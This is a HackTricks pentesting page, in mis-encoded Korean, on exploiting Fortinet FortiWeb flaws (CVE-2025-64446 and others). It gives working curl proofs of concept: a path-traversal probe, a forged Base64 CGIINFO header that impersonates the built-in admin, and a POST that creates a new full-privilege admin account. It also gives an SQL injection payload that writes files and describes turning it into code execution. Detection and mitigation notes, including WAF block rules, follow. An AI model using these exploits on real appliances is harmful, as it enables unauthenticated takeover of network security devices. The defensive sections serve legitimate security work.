Fortinet FortiWeb โ Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Fortinet FortiWeb๋ ์ค์์ง์ค์ CGI ๋์คํจ์ฒ๋ฅผ /cgi-bin/fwbcgi์ ๋
ธ์ถํฉ๋๋ค. ๋ ๊ฐ์ ์ทจ์ฝ์ ์ฒด์ธ์ ์ด์ฉํ๋ฉด ์ธ์ฆ๋์ง ์์ ์๊ฒฉ ๊ณต๊ฒฉ์๊ฐ ๋ค์์ ํ ์ ์์ต๋๋ค:
- ์ ํจํ API prefix๋ก URL์ ์์ํ๊ณ directory traversal์ ํตํด
fwbcgi์ ๋๋ฌํฉ๋๋ค. - CGI๊ฐ ์ ์์ผ๋ก ์ ๋ขฐํ๋ ํน์ HTTP header๋ฅผ ์ ๊ณตํ์ฌ ๋ชจ๋ ์ฌ์ฉ์(๋ด์ฅ๋
adminํฌํจ)๋ฅผ ๊ฐ์ฅํฉ๋๋ค.
๋ฒค๋ ๊ถ๊ณ : FGโIRโ25โ910 (CVEโ2025โ64446). ์ค์ ๋ก ์ง์์ ์ธ admin ๊ณ์ ์์ฑ์ ์ํด ์ ์ฉ๋ ์ฌ๋ก๊ฐ ๊ด์ฐฐ๋์์ต๋๋ค.
์ํฅ์ ๋ฐ๋ ๋ฒ์ (๊ณต๊ฐ ๋ฌธ์ ๊ธฐ์ค):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 โค 6.4.3
- 6.3 โค 6.3.23
FortiWeb 8.0.2๋ ์๋์ traversal probe์ ๋ํด HTTP 403์ ๋ฐํํฉ๋๋ค.
๋น ๋ฅธ ์ทจ์ฝ์ฑ ํ์ง
- API prefix์์
fwbcgi๋ก์ Path traversal:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- ํด์: HTTP 200 โ ์ทจ์ฝํ ๊ฐ๋ฅ์ฑ ๋์; HTTP 403 โ ํจ์น๋จ.
๊ทผ๋ณธ ์์ธ ์ฒด์ธ
- API-prefix path traversal to internal CGI
- ์ ํจํ FortiWeb API ์ ๋์ฌ๋ก ์์ํ๋ ๋ชจ๋ ์์ฒญ ๊ฒฝ๋ก(์:
/api/v2.0/cmdb/๋๋/api/v2.0/cmd/)๋../๋ก/cgi-bin/fwbcgi๊น์ง ์ํํ ์ ์๋ค.
- Minimal-body validation bypass
fwbcgi์ ๋๋ฌํ๋ฉด, ์ฒซ ๋ฒ์งธ ๊ด๋ฌธ์/var/log/inputcheck/์๋์ ๊ฒฝ๋ก๋ณ ํ์ผ๋ก ํค๋ ๊ด๋ํ JSON ๊ฒ์ฌ๋ฅผ ์ํํ๋ค. ํ์ผ์ด ์์ผ๋ฉด ๊ฒ์ฌ๋ ์ฆ์ ํต๊ณผ๋๋ค. ํ์ผ์ด ์์ผ๋ฉด, ๋ฐ๋๋ ์ ํจํ JSON์ด๋ฉด ์ถฉ๋ถํ๋ค. ์ต์ ์ค์ ๋ฐ๋๋ก{}๋ฅผ ์ฌ์ฉํ๋ผ.
- Header-driven user impersonation
- ํ๋ก๊ทธ๋จ์ CGI ํ๊ฒฝ๋ณ์
HTTP_CGIINFO(HTTP ํค๋CGIINFO์์ ์ ๋)๋ฅผ ์ฝ๊ณ , Base64๋ก ๋์ฝ๋ํ ๋ค JSON์ ํ์ฑํ์ฌ ์์ฑ์ ๋ก๊ทธ์ธ ์ปจํ ์คํธ์ ์ง์ ๋ณต์ฌํ๊ณ ๋๋ฉ์ธ/VDOM์ ์ค์ ํ๋ค. ๊ด์ฌ ํค: username,loginname,vdom,profname- ๋ด์ฅ ๊ด๋ฆฌ์(admin)๋ฅผ ๊ฐ์ฅํ๊ธฐ ์ํ ์์ JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
์์ Base64 (์ค์ ํ์ฅ์์ ์ฌ์ฉ๋ ํํ):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
์๋-ํฌ-์๋ ๋จ์ฉ ํจํด (์ธ์ฆ๋์ง ์์ โ admin)
- API-prefix traversal์ ํตํด
/cgi-bin/fwbcgi์ ๋๋ฌํ๋ค. - ์
๋ ฅ ๊ฒ์ฌ๋ฅผ ํต๊ณผ์ํค๊ธฐ ์ํด ์ ํจํ JSON ๋ฐ๋(์:
{})๋ฅผ ์ ๊ณตํ๋ค. - JSON์ด ๋์ ์๋ณ์(target identity)๋ฅผ ์ ์ํ๋๋ก
CGIINFO: <base64(json)>ํค๋๋ฅผ ์ ์กํ๋ค. - ํน๊ถ ๋์์ ์ํํ๊ธฐ ์ํด
fwbcgi๊ฐ ๊ธฐ๋ํ๋ ๋ฐฑ์๋ JSON์ POSTํ๋ค(์: ์ง์์ฑ ์ ์ง๋ฅผ ์ํด admin ์ฌ์ฉ์ ์์ฑ).
Minimal cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- admin์ ์ฌ์นญํ์ฌ ์๋ก์ด local admin user๋ฅผ ์์ฑ:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
์ฐธ๊ณ :
/var/log/inputcheck/<path>.json์ด(๊ฐ) ์กด์ฌํ์ง ์์ผ๋ฉด ์์์ ์ ํจํ JSON ๋ณธ๋ฌธ(์:{})์ด๋ฉด ์ถฉ๋ถํฉ๋๋ค.- action schema๋ FortiWeb ๋ด๋ถ์ฉ์ ๋๋ค; ์ ์์ ๋ ์ ์ฒด ๊ถํ์ ๊ฐ์ง ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ณ์ ์ ์ถ๊ฐํฉ๋๋ค.
๋น ๋ฅด๊ฒ ํ์ธํ ๋งํ ๋ค๋ฅธ FortiWeb 2025 ์ทจ์ฝ์
Pre-auth Fabric Connector SQLi โ RCE (CVE-2025-25257)
- ์ํฅ ๋์: 7.6.0โ7.6.3, 7.4.0โ7.4.7, 7.2.0โ7.2.10, 7.0.0โ7.0.10. 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11์์ ์์ ๋จ.
- ๋ฒ๊ทธ:
get_fabric_user_by_token()๊ฐAuthorization: Bearer <token>๊ฐ์ SQL ์ฟผ๋ฆฌ์ ๊ทธ๋๋ก ์ฌ์ฉํฉ๋๋ค. ๊ณต๊ฒฉ์๋ MySQL ์ฌ์ฉ์ ๊ถํ์ผ๋ก ์คํ๋๋ SQL์ ์ฝ์ ํ์ฌSELECT ... INTO OUTFILE๋ก ํ์ผ์ ์์ฑํ๋๋ก ํ์ฌ ์ฝ๋ ์คํ(์น์ ธ/.pth๋ก๋)์ ์ป์ ์ ์์ต๋๋ค. - ์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ ํ๋ฉด:
/api/fabric/device/status(๋ฐ ๋ค๋ฅธ Fabric Connector ์๋ํฌ์ธํธ) โ ๊ด๋ฆฌ ํ๋ ์ธ์์ HTTP/HTTPS๋ฅผ ํตํด ์ ๊ทผ ๊ฐ๋ฅ. - SQLi์ ๋ํ ๋น ๋ฅธ ํ ์คํธ:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: FortiWeb์ Python site-packages์
.pth๋ฅผ ์์ฑํด ์ธํฐํ๋ฆฌํฐ ์์ ์os;os.system(...)์ importํ๊ฒ ๋ง๋ค๊ฑฐ๋, ์น๋ฃจํธ ์๋์ CGI๋ฅผ ๋ฐฐ์นํฉ๋๋ค. ์๋น์ค๋ฅผ ์ฌ์์ํ๋ฉด ํ์ด๋ก๋๊ฐ ์คํ๋ฉ๋๋ค. - ํ์ง ๋จ์: Authorization ํค๋์ quotes/UNION/SELECT ํฌํจ;
/data/lib/python*/site-packages/๋๋/data/var/waf/html/ROOT/cgi-bin/์๋์ ์์์น ๋ชปํ ํ์ผ๋ค.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Improper SAML signature verification์ผ๋ก ๊ณต๊ฒฉ์๊ฐ FortiCloud SSO ์๋ต์ ์์กฐํด ์๊ฒฉ์ฆ๋ช ์์ด ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
- FortiCloud SSO login์ด ํ์ฑํ๋ ๊ฒฝ์ฐ์๋ง ์ ์ฉ ๊ฐ๋ฅ(์ฅ์น๊ฐ GUI๋ก ๋ฑ๋ก๋๋ฉด ์ฒดํฌ๋ฐ์ค๊ฐ ํด์ ๋์ง ์์ ํ ์๋์ผ๋ก ์ผ์ง).
- Affected (per PSIRT): 8.0.0, 7.6.0โ7.6.4, 7.4.0โ7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Affected: 7.0.0โ7.0.11, 7.2.0โ7.2.11, 7.4.0โ7.4.10, 7.6.0โ7.6.5, 8.0.0โ8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Practical probe (non-destructive): ๊ด๋ฆฌ HTTP ์๋ํฌ์ธํธ์ ํ๋ผ๋ฏธํฐ๋ก
;id;๋ฅผ ๋ณด๋ด๊ณ , ๋ช ๋ น ์ถ๋ ฅ์ด ํฌํจ๋ 500 ์๋ต์ด ๋์์ค๋์ง ํ์ธํฉ๋๋ค; echo๊ฐ ๋ณด์ด๋ฉด ์ฆ์ ์ฐจ๋จํ๊ฑฐ๋ ํจ์นํ์ธ์.
Detection
/cgi-bin/fwbcgi์ ๋๋ฌํ๋ ์์ฒญ์ด../๋ฅผ ํฌํจํ API-ํ๋ฆฌํฝ์ค ๊ฒฝ๋ก๋ฅผ ํตํด ๋ค์ด์ค๋ ๊ฒฝ์ฐ (์:/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).CGIINFOํค๋๊ฐ Base64 JSON์ผ๋ก ์กด์ฌํ๊ณusername/loginname/vdom/profnameํค๋ฅผ ํฌํจํ๋ ๊ฒฝ์ฐ.- Fabric Connector SQLi: Authorization ํค๋์ SQL ๋ฉํ๋ฌธ์๊ฐ ํฌํจ๋๊ฑฐ๋, Python site-packages/CGI ๋๋ ํฐ๋ฆฌ์ ๊ฐ์์ค๋ฐ ํ์ผ์ด ์์ฑ๋๊ฑฐ๋, ์ธํฐ๋ท IP์์
/api/fabric/device/status์ ์ ๊ทผํ ๊ธฐ๋ก์ด ์๋ ๊ฒฝ์ฐ. - FortiCloud SSO:
/var/log/ssod์์ ์์์น ๋ชปํ SAML issuer ๋๋ audience ๊ฐ์ด ๋ฐ๊ฒฌ๋๋ ๊ฒฝ์ฐ. - Backend artifacts:
/var/log/inputcheck/์๋ ๊ฒฝ๋ก๋ณ ํ์ผ๋ค(๊ฒ์ดํธ ์ค์ ).- ์๊ธฐ์น ์์ ๊ด๋ฆฌ์ ๊ณ์ ์์ฑ ๋ฐ ์ค์ ๋ณ๊ฒฝ.
- ๋น ๋ฅธ ๊ฒ์ฆ: ํธ๋๋ฒ์ค ํ๋ก๋ธ๊ฐ 200์ ๋ฐํํ๋ฉด ๋ ธ์ถ(ํจ์น๋ ๋น๋์์๋ 403 ์ฐจ๋จ).
Mitigation
- ๋ฒค๋ ๊ถ๊ณ ์ ๋ฐ๋ผ ๊ณ ์ ๋ฆด๋ฆฌ์ค๋ก ์ ๊ทธ๋ ์ด๋(์: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
- ๋ค๋ฅธ 2025 ์ทจ์ฝ์ ๋ค๋ ํจ์น: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- ํจ์น ์ ๊น์ง:
- FortiWeb management plane์ ์ ๋ขฐํ ์ ์๋ ๋คํธ์ํฌ์ ๋ ธ์ถํ์ง ๋ง์ธ์.
- ๋ค์์ ์ฐจ๋จํ๋๋ก reverse-proxy/WAF ๊ท์น์ ์ถ๊ฐํ์ธ์:
/api/๋ก ์์ํ๊ณ../cgi-bin/fwbcgi๋ฅผ ํฌํจํ๋ ๊ฒฝ๋ก๋ค.CGIINFOํค๋๋ฅผ ๋ด์ ์์ฒญ๋ค.- Authorization์ SQL ๋ฉํ๋ฌธ์๊ฐ ํฌํจ๋ Fabric Connector ํธ์ถ๋ค.
- FortiCloud SSO๋ฅผ ์ฌ์ฉํ์ง ์๋๋ค๋ฉด SAML ์๋ํฌ์ธํธ๋ฅผ ์ธํฐ๋ท์ ๋ ธ์ถํ์ง ๋ง์ธ์.
- ์์ ํ์ง ์งํ๋ค์ ๋ชจ๋ํฐ๋งํ๊ณ ๊ฒฝ๋ณด๋ฅผ ์ค์ ํ์ธ์.
References
- When the impersonation function gets used to impersonate users โ Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass โ Detection artefact generator
- CVE-2025-25257 โ Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


